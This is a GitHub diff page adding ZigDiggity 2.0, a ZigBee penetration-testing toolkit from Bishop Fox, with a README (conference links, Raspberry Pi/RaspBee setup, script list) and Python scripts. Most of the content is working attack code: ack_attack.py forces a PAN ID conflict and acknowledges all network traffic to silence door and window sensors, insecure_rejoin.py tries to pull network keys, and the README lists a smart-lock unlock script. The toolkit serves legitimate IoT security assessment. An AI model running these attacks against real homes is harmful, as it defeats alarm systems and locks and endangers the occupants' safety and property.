Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
48 commits
Select commit Hold shift + click to select a range
c3da128
All the code for ZigDiggity version 1.0
mgleason-bishopfox Aug 12, 2018
04bb444
Added initial README
mgleason-bishopfox Aug 12, 2018
0954bd0
Removed sequence number tracking
mgleason-bishopfox Aug 12, 2018
91671a6
Updated README
mgleason-bishopfox Aug 12, 2018
57fca42
tastic1 Oct 9, 2018
d7e6db3
tastic1 Oct 9, 2018
df1d7ae
tastic1 Oct 9, 2018
18b0045
tastic1 Oct 9, 2018
ba7075e
tastic1 Oct 9, 2018
4ec35b9
tastic1 Oct 9, 2018
19d735b
tastic1 Oct 9, 2018
85bdec7
Initial ZigDiggity version 2 code
matt-gleason Aug 7, 2019
665743d
Changed README filename
matt-gleason Aug 7, 2019
d08691f
Back to the other name
mgleason-bishopfox Aug 7, 2019
cc1353a
remove unnecessary file
mgleason-bishopfox Aug 7, 2019
a51d026
README data
mgleason-bishopfox Aug 7, 2019
d1cbe0b
Minor bug fix inside unlock.py
mgleason-bishopfox Aug 7, 2019
1323ae6
argparser != argparse
mgleason-bishopfox Aug 7, 2019
c182098
Fixed more errors
mgleason-bishopfox Aug 7, 2019
b69c540
Removed settings files
mgleason-bishopfox Aug 7, 2019
91837d8
Changes to README
mgleason-bishopfox Aug 7, 2019
e2f0de2
Update README
mgleason-bishopfox Aug 7, 2019
593fb44
Bug fixes
mgleason-bishopfox Aug 7, 2019
77d6663
Merge branch 'master' of github.com:BishopFox/zigdiggity
mgleason-bishopfox Aug 7, 2019
141f580
Bug fixes
mgleason-bishopfox Aug 7, 2019
c65d20f
Bug fixes
mgleason-bishopfox Aug 7, 2019
8a5a4ab
Add files via upload
tastic1 Aug 20, 2019
a9cad4f
Add files via upload
tastic1 Aug 20, 2019
61fdd30
Update README.md
tastic1 Aug 20, 2019
363a0a9
Update README.md
tastic1 Aug 20, 2019
2f0608f
Update README.md
tastic1 Aug 20, 2019
595f0ed
Update README.md
tastic1 Aug 20, 2019
33dedc0
Update README.md
tastic1 Aug 20, 2019
a34938e
Update README.md
tastic1 Aug 20, 2019
77bbfeb
Add files via upload
tastic1 Aug 21, 2019
07e85d3
Update README.md
tastic1 Aug 21, 2019
676835e
Update README.md
tastic1 Aug 22, 2019
6971748
Update requirements.txt
mgleason-bishopfox Aug 26, 2019
cd3cc54
Update README.md
tastic1 Aug 30, 2019
7588d01
Update README.md
tastic1 Aug 30, 2019
871ca16
Add files via upload
tastic1 Sep 5, 2019
91b9b38
Update README.md
tastic1 Sep 5, 2019
8e53c43
Delete RaspBee-image-1.jpg
tastic1 Oct 7, 2019
3babde4
Update README.md
tastic1 Oct 28, 2019
376b6c6
General Updates
Nov 13, 2019
97dcf28
Add stdout / wireshark options to listen.py
Nov 15, 2019
00396a9
Provide setup.py script for easy install.
Jan 18, 2020
5ad125f
Testing - requires review.
Jul 19, 2020
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
build/
dist/
*.egg-info/
__pycache__
venv
.vscode
85 changes: 85 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
![ZigDiggity - Logo](images/ZigDiggity-2019-Logo_and_Example-1.jpg)

# ZigDiggity Version 2

Introducing *ZigDiggity 2.0*, a ZigBee penetration testing framework created by Matt Gleason & Francis Brown of [Bishop Fox](https://www.bishopfox.com/ "Bishop Fox"). Special thanks to Caleb Marion!

*ZigDiggity* version 2 is a major overhaul of the original package and aims to enable cybersecurity professionals, auditors, and developers to run complex interactions with ZigBee networks using a single device.

## 2019 - Black Hat USA 2019 & DEF CON 27 - links, slides, and videos
* [Black Hat USA 2019 - ARSENAL LAB - ZigBee Hacking: Smarter Home Invasion with ZigDiggity - Aug 7-8, 2019](https://www.blackhat.com/us-19/arsenal/schedule/index.html#arsenal-lab---zigbee-hacking-smarter-home-invasion-with-zigdiggity-17151 "Black Hat USA 2019 - ARSENAL LAB - ZigBee Hacking: Smarter Home Invasion with ZigDiggity - Aug 7-8, 2019")
* https://www.defcon.org/html/defcon-27/dc-27-demolabs.html#ZigDiggity
* ![](images/ZigDiggity-Aug2019-DefCon27-DemoLab-1-Smaller.jpg)

### Videos
* [YouTube - Zigbee Hacking: Smarter Home Invasion with ZigDiggity - 58sec DEMO - 20Aug2019](https://www.youtube.com/watch?v=9_0SoKsVklMQ "YouTube - Zigbee Hacking: Smarter Home Invasion with ZigDiggity - 58sec DEMO - 20Aug2019")
* Defeating Zigbee smart locks & home alarm sensors; demonstrating effective IoT product security evaluations using ZigDiggity 2.0 - the new open-source Zigbee pentest toolkit from Bishop Fox.

<a href="http://www.youtube.com/watch?feature=player_embedded&v=9_0SoKsVklM
" target="_blank"><img src="http://img.youtube.com/vi/9_0SoKsVklM/0.jpg"
alt="ZigDiggity 2019 DEMO" width="320" height="180" border="10" /></a>

### Slides
* https://www.slideshare.net/bishopfox/smarter-home-invasion-with-zigdiggity-165606623
* https://www.bishopfox.com/files/slides/2019/Black_Hat_USA_2019-Zigbee_Hacking-Smarter_Home_Invasion_with_ZigDiggity-08Aug2019-Slides.pdf

### ABSTRACT:
> Do you feel safe in your home with the security system armed? You may reconsider after watching a demo of our new hacking toolkit, ZigDiggity, where we target door & window sensors using an "ACK Attack". ZigDiggity will emerge as the weapon of choice for testing Zigbee-enabled systems, replacing all previous efforts.
>
> Zigbee continues to grow in popularity as a method for providing simple wireless communication between devices (i.e. low power/traffic, short distance), & can be found in a variety of consumer products that range from smart home automation to healthcare. Security concerns introduced by these systems are just as diverse and plentiful, underscoring a need for quality assessment tools.
>
> Unfortunately, existing Zigbee hacking solutions have fallen into disrepair, having barely been maintained, let alone improved upon. Left without a practical way to evaluate the security of Zigbee networks, we've created ZigDiggity, a new open-source pentest arsenal from Bishop Fox.
>
> Our DEMO-rich presentation showcases ZigDiggity's attack capabilities by pitting it against common Internet of Things (IoT) products that use Zigbee. Come experience the future of Zigbee hacking, in a talk that the New York Times will be hailing as "a veritable triumph of the human spirit." ... ya know, probably


## Installation

Using a default install of Raspbian, perform the following steps:

* Plug your Raspbee into your Raspberry Pi
* Enable serial using the `sudo raspbi-config` command
* Select "Advanced Options/Serial"
* Select *NO* to "Would you like a login shell to be accessible over serial?"
* Select *YES* to enabling serial
* Restart the Raspberry Pi
* Install GCFFlasher available [Here](https://www.dresden-elektronik.de/funktechnik/service/download/driver/?L=1)
* Flash the Raspbee's firmware
* `sudo GCFFlasher -f firmware/zigdiggity_raspbee.bin`
* `sudo GCFFlasher -r`
* Install the python requirements using `pip3 install -r requirements.txt`
* Patch scapy `sudo cp patch/zigbee.py /usr/local/lib/python3.5/dist-packages/scapy/layers/zigbee.py`
* Install wireshark on the device using `sudo apt-get install wireshark`

### Hardware

The current version of ZigDiggity is solely designed for use with the [Raspbee](https://www.dresden-elektronik.de/funktechnik/solutions/wireless-light-control/raspbee/?L=1)
* https://www.amazon.com/RaspBee-premium-ZigBee-Raspberry-Firmware/dp/B00E6300DO
* ![](images/RaspBee-image-2.jpg)
* Raspberry Pi 3 B+
* https://www.amazon.com/CanaKit-Raspberry-Power-Supply-Listed/dp/B07BC6WH7V
* RasPad by SunFounder (Optional) - great portable Zigbee hacking solution, tablet to house the RaspPi3 & RaspBee radio:
* https://www.amazon.com/SunFounder-RasPad-Built-Touchscreen-Compatible/dp/B07JG53K2W/
* ![ZigDiggity - RasPad - Photo](images/ZigDiggity-PortableRaspPiPad_w_Touchscreen-4a.jpg)

## Usage

Currently scripts are available in the root of the repository, they can all be run using Python3:

```python3 listen.py -c 15```

When running with wireshark, root privileges may be required.

### Scripts

* `ack_attack.py` - Performs the acknowledge attack against a given network.
* `beacon.py` - Sends a single beacon and listens for a short time. Intended for finding which networks are near you.
* `find_locks.py` - Examines the network traffic on a channel to determine if device behavior looks like a lock. Displays which devices it thinks are locks.
* `insecure_rejoin.py` - Runs an insecure rejoin attempt on the target network.
* `listen.py` - Listens on a channel piping all output to wireshark for viewing.
* `scan.py` - Moves between channels listening and piping the data to wireshark for viewing.
* `unlock.py` - Attempts to unlock a target lock

## Notes

The patterns used by ZigDiggity version 2 are designed to be as reliable as possible. The tool is still in fairly early stages of development, so expect to see improvements over time.
71 changes: 71 additions & 0 deletions ack_attack.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
#!/usr/bin/env python
import os
import sys
sys.path.append(os.getcwd() + "/zigdiggity")

import time
import signal
import argparse
from scapy.layers.dot15d4 import *
from scapy.layers.zigbee import *

from zigdiggity.radios.raspbee_radio import RaspbeeRadio
from zigdiggity.radios.observer_radio import ObserverRadio
from zigdiggity.observers.wireshark_observer import WiresharkObserver
import zigdiggity.crypto.utils as crypto_utils
from zigdiggity.misc.actions import *
from zigdiggity.packets.utils import get_pan_id, get_source
from zigdiggity.interface.components.logo import Logo

parser = argparse.ArgumentParser(description='Perform an acknowledge attack against the target network')
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target')
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='The Extended PAN ID of the network to target')
args = parser.parse_args()

logo = Logo()
logo.print()

hardware_radio = RaspbeeRadio(args.device)
radio = ObserverRadio(hardware_radio)

if args.wireshark:
wireshark = WiresharkObserver()
radio.add_observer(wireshark)

def handle_interrupt(signal, frame):
global interrupted
print_notify("Exiting the current script")
interrupted = True

CHANNEL = args.channel
TARGET_EPAN=args.epan

radio.set_channel(CHANNEL)

panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
if panid is None:
print_error("Could not find the PAN ID corresponding to the target network.")
exit(1)

print_info("Performing a PAN ID conflict against the network")

for attempts in range(10):
pan_conflict_by_panid(radio, panid)
time.sleep(2)
next_panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
if panid != next_panid:
break
if attempts == 9:
print_error("All 10 attempts to perform a PAN ID conflict failed.")

signal.signal(signal.SIGINT, handle_interrupt)
interrupted = False

print_notify("Acking to all the traffic to PAN 0x%04x" % panid)
print_info("Use ctrl+c to stop the attack")
while not interrupted:
radio.receive_and_ack(panid=panid, addr=0x0000)

radio.off()
61 changes: 61 additions & 0 deletions beacon.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
#!/usr/bin/env python
import os
import sys
sys.path.append(os.getcwd() + "/zigdiggity")

import time
import signal
import random
import argparse
import hexdump
from scapy.layers.dot15d4 import *
from scapy.layers.zigbee import *

from zigdiggity.radios.raspbee_radio import RaspbeeRadio
from zigdiggity.radios.observer_radio import ObserverRadio
import zigdiggity.observers.utils as observer_utils
from zigdiggity.packets.dot15d4 import beacon_request
from zigdiggity.interface.console import print_notify
from zigdiggity.misc.timer import Timer
from zigdiggity.interface.components.logo import Logo

parser = argparse.ArgumentParser(description='Send a beacon request')
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
parser.add_argument('-s','--stdout',action='store_true',dest='stdout',required=False,help='dump traffic to stdout')
parser.add_argument('-t','--timeout',action='store',type=int,dest='timeout',default=5,help='response listen timeout')
parser.add_argument('-v','--verbose',action='store_true',dest='verbose',required=False,help='verbose logging')
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
args = parser.parse_args()

logo = Logo()
logo.print()

hardware_radio = RaspbeeRadio(args.device)
radio = ObserverRadio(hardware_radio)

if args.wireshark:
observer_utils.register_wireshark(radio)
if args.verbose:
print_notify("Registered Wireshark Observer")
if args.stdout:
observer_utils.register_stdout(radio)
if args.verbose:
print_notify("Registered Stdout Observer")

radio.set_channel(args.channel)
radio.receive()

if args.verbose:
print_notify("Sending the beacon request to channel %d" % radio.get_channel())

try:
timer = Timer(args.timeout)
print(type(beacon_request()), len(beacon_request()))
hexdump.hexdump(bytes(beacon_request()))
#radio.send_and_retry(beacon_request(random.randint(0,255)))
radio.send(beacon_request(random.randint(0,255)))
while not timer.has_expired():
radio.receive()
finally:
radio.off()
35 changes: 35 additions & 0 deletions find_locks.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
#!/usr/bin/env python
import os
import sys
sys.path.append(os.getcwd() + "/zigdiggity")

import time
import argparse
from scapy.layers.dot15d4 import *
from scapy.layers.zigbee import *

from zigdiggity.radios.raspbee_radio import RaspbeeRadio
from zigdiggity.radios.observer_radio import ObserverRadio
from zigdiggity.observers.wireshark_observer import WiresharkObserver
from zigdiggity.interface.console import print_notify
import zigdiggity.crypto.utils as crypto_utils
from zigdiggity.misc.actions import *

parser = argparse.ArgumentParser(description='Attempt to find locks on a channel')
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
args = parser.parse_args()

hardware_radio = RaspbeeRadio(args.device)
radio = ObserverRadio(hardware_radio)

if args.wireshark:
wireshark = WiresharkObserver()
radio.add_observer(wireshark)

radio.set_channel(args.channel)
print_notify("Current on channel %d" % args.channel)
find_locks(radio)

radio.off()
Binary file added firmware/zigdiggity_raspbee.bin
Binary file not shown.
Binary file added images/RaspBee-image-2.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added images/ZigDiggity-2019-Logo_and_Example-1.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
55 changes: 55 additions & 0 deletions insecure_rejoin.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
#!/usr/bin/env python
import os
import sys
sys.path.append(os.getcwd() + "/zigdiggity")

import time
import argparse
from scapy.layers.dot15d4 import *
from scapy.layers.zigbee import *

from zigdiggity.radios.raspbee_radio import RaspbeeRadio
from zigdiggity.radios.observer_radio import ObserverRadio
from zigdiggity.observers.wireshark_observer import WiresharkObserver
import zigdiggity.crypto.utils as crypto_utils
from zigdiggity.misc.actions import *
from zigdiggity.interface.components.logo import Logo

parser = argparse.ArgumentParser(description='Attempt to perform an insecure network join')
parser.add_argument('-a','--attempts',action='store',type=int,dest='attempts',default=3,help='Number of rejoin attempts')
parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target')
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
args = parser.parse_args()

logo = Logo()
logo.print()

hardware_radio = RaspbeeRadio(args.device)
radio = ObserverRadio(hardware_radio)

if args.wireshark:
wireshark = WiresharkObserver()
radio.add_observer(wireshark)

TARGET_EPAN = args.epan
CHANNELS = [args.channel]

start_time = time.time()
for channel in CHANNELS:

radio.set_channel(channel)

panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
if panid is None:
print_error("Could not find the PAN ID corresponding to the target network.")
exit(1)

for attempt in range(args.attempts):
key = insecure_rejoin_by_panid(radio, panid, extended_src=0x01020304050607)
if key is not None:
break

radio.off()
print_notify("Total elapsed time: %f seconds" % (time.time()-start_time))
52 changes: 52 additions & 0 deletions listen.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
#!/usr/bin/env python
import os
import sys
sys.path.append(os.getcwd() + "/zigdiggity")

import signal
import time
import argparse
from zigdiggity.radios.raspbee_radio import RaspbeeRadio
from zigdiggity.radios.observer_radio import ObserverRadio
import zigdiggity.observers.utils as observer_utils
from scapy.layers.dot15d4 import *
from scapy.layers.zigbee import *
from zigdiggity.interface.console import print_notify
from zigdiggity.interface.components.logo import Logo

def handle_interrupt(signal, frame):
global interrupted
print_notify("Exiting the current script")
interrupted = True

parser = argparse.ArgumentParser(description='Listen to a Zigbee traffic on a channel')
parser.add_argument('-c', '--channel', action='store',type=int, required=True,help='Channel to use')
parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
parser.add_argument('-s','--stdout',action='store_true',dest='stdout',required=False,help='dump traffic to stdout')
parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
args = parser.parse_args()

logo = Logo()
logo.print()

hardware_radio = RaspbeeRadio(args.device)
radio = ObserverRadio(hardware_radio)

if args.wireshark:
observer_utils.register_wireshark(radio)
print_notify("Registered Wireshark Observer")
if args.stdout:
observer_utils.register_stdout(radio)
print_notify("Registered Stdout Observer")

radio.set_channel(args.channel)

print_notify("Listening to channel %d" % radio.get_channel())

signal.signal(signal.SIGINT, handle_interrupt)
interrupted = False

while not interrupted:
result = radio.receive()

radio.off()
Loading